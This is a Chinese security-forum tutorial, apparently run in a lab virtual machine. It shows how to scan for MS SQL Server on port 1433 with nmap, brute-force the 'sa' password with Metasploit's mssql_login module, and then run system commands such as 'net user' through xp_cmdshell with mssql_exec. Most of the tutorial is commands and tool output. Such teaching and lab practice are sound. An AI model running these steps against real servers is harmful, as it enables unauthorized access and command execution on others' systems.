用户
搜索

该用户从未签到

安全团队

Rank: 7Rank: 7Rank: 7

41

主题

59

帖子

298

魔法币
收听
0
粉丝
16
注册时间
2016-9-25

i春秋认证

发表于 2016-11-28 16:00:34 114602
本帖最后由 即刻安全 于 2016-11-28 16:01 编辑

MSF应用之 sql sever(xp_cmdshell sp)目标实验机:  虚拟机系统(windows server 2008  R2)
sql server 2008
本机工具:本机系统  mac  os
nmap/metaspliost
知识科普:
xp_cmdshell:

1. SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器上,建议关闭或限制访问权,可以使用外围应用配置器工具以及通过执行 sp_configure 来启用和禁用 xp_cmdshell       (在sql sever 2005以上 微软是自动关闭该选项,在sql server 2005版本中是自动开启的,虽然关闭着的,,但是我们还是可以绕过该机制,在试验机中 ,关闭了该选项,但还是可以绕过,主要是因为服务器上关了自带的防火墙,才可以运行的该漏洞,各位小伙伴们可以在实验机上试试。虽然可以执行任意的dos命令,但是权限比较低)

2. 有许多方法来破解数据库,而且这些技术需要SQL注入(C),这是一种方式发送SQL命令从一个Web窗体或其他输入到数据库中。在本教程中,我们将使用SQL注入获取底层服务器。因此,我们将使用数据库作为访问底层服务器的中介来访问数据库和数据,而不是访问数据库和数据。
几乎所有的商业数据库MS SQL Server,Oracle,MySQL,DB2,等等,都有内置的系统存储过程(SP)。这是由开发人员提供的代码,以帮助系统管理员完成常见的任务。
通常,一个数据库系统管理员将需要访问底层的服务器,微软提供了一个称为xp_cmdshell SP在SQL Server。当系统管理员执行此命令时,他们会在托管数据库的基础服务器上获得一个命令提示。
这是一次对所有SP的微软SQL服务器安装的默认启用,但因为它是由黑客经常利用,微软已经禁用了默认但我们仍然可以访问它肆虐!
当然,要访问此远程登录,我们将需要系统管理员的登录凭据。默认情况下,微软包装他们的SQL Server与系统管理员帐户名为“SA”和一些系统管理员改变它。你可以使用这样的工具sqldict或Metasploit的辅助模块,sql_login,获得SA密码用在本hack。
如果我们能在受害者系统上执行命令,我们不能只运行侦察它,但我们也可以有足够的系统和Windows命令它自己的知识。
信息收集:nmap :
[AppleScript] 纯文本查看 复制代码
nmap -p 1433 192.168.1.0/24



用nmap来针对:1433端口来扫描整个网段下的ip  检测是否开放了 1433端口
检测结果如下:
Starting Nmap 7.12 ( https://nmap.org ) at 2016-11-27 21:16 CST
Nmap scan report for 192.168.1.1
Host is up (0.0080s latency).
PORT STATE SERVICE
1433/tcp filtered ms-sql-s
Nmap scan report for 192.168.1.101
Host is up (0.00077s latency).
PORT STATE SERVICE
1433/tcp closed ms-sql-s
Nmap scan report for 192.168.1.103
Host is up (0.00097s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s

我们还可以对检测出开放1433端口的机子进行进一步的检测:

[AppleScript] 纯文本查看 复制代码
nmap -A 192.168.1.103


对该ip 进行全面检测,结果如下:
Nmap scan report for 192.168.1.103
Host is up (0.0021s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows 98, Windows Server 2008 R2; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_98, cpe:/o:microsoft:windows_server_2008:r2
Host script results:
| ms-sql-info:
| 192.168.1.103:1433:
| Version:
| name: Microsoft SQL Server 2008 R2 SP2
| Post-SP patches applied: false
| Product: Microsoft SQL Server 2008 R2
| number: 10.50.4000.00
| Service pack level: SP2
|_ TCP port: 1433

那么我们知道目标机器使用的是sql server  2008的版本 而且还开放了1433端口
那么我们可以使用msf的辅助扫描模块,对其sqlserver的爆破,
msf 调用 scanner 模块

[AppleScript] 纯文本查看 复制代码
msf > use auxiliary/scanner/mssql/mssql_login


设置挂载需要爆破的弱口令密码字典

[AppleScript] 纯文本查看 复制代码
msf auxiliary(mssql_login) > set PASS_FILE 1.txt
PASS_FILE => 1.txt


我们知道在mssql里面 sa的权限是最高的,在这里我们尝试着用sa来登录 ,里面也可以对其使用username_File 挂载mssql登录用户

[AppleScript] 纯文本查看 复制代码
msf auxiliary(mssql_login) > set username sa
username => sa


可自定义设置扫描线程:

[AppleScript] 纯文本查看 复制代码
msf auxiliary(mssql_login) > set threads 50
threads => 50


设置目标ip

[AppleScript] 纯文本查看 复制代码
msf auxiliary(mssql_login) > set rhosts 192.168.1.103
rhosts => 192.168.1.103


开始爆破

[AppleScript] 纯文本查看 复制代码
msf auxiliary(mssql_login) > run
 192.168.1.103:1433    - 192.168.1.103:1433 - MSSQL - Starting authentication scanner.
[-] 192.168.1.103:1433    - 192.168.1.103:1433 - LOGIN FAILED: WORKSTATION\sa:1111 (Incorrect: )
[+] 192.168.1.103:1433    - 192.168.1.103:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:111 Scanned 1 of 1 hosts (100% complete) Auxiliary module execution completed


得知信息:
由以上收集到的信息为:
系统版本    windows server  2008 r2
数据库使用版本: sql server  2008
目标所在ip  以及开放的端口等信息: 192.168.1.103:1433 ms-sql-s
mssql账号和密码为:sa /111


信息利用:使用msf命令执行模块,执行最终的dos命令

[AppleScript] 纯文本查看 复制代码
msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_exec


使用options,来查看设置参数

A318BFAC-755A-479F-94C9-7A7D132DB807.png

需要设置的是cmd里面的dos 命令 比如说:net user  查看用户组

[AppleScript] 纯文本查看 复制代码
msf auxiliary(mssql_exec) > set cmd 'net user'
cmd => net user
msf auxiliary(mssql_exec) > set PASSWORD 111     (设置爆破出来的密码)
PASSWORD => 111
msf auxiliary(mssql_exec) > set rhost 192.168.1.103  (设置目标ip)
rhost => 192.168.1.103
msf auxiliary(mssql_exec) > exploit   (执行攻击


5A09A414-11D6-4050-AF97-0E089062684B.png

欢迎关注即刻安全官方微信公众号!!
qrcode.jpg


支持一下~
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册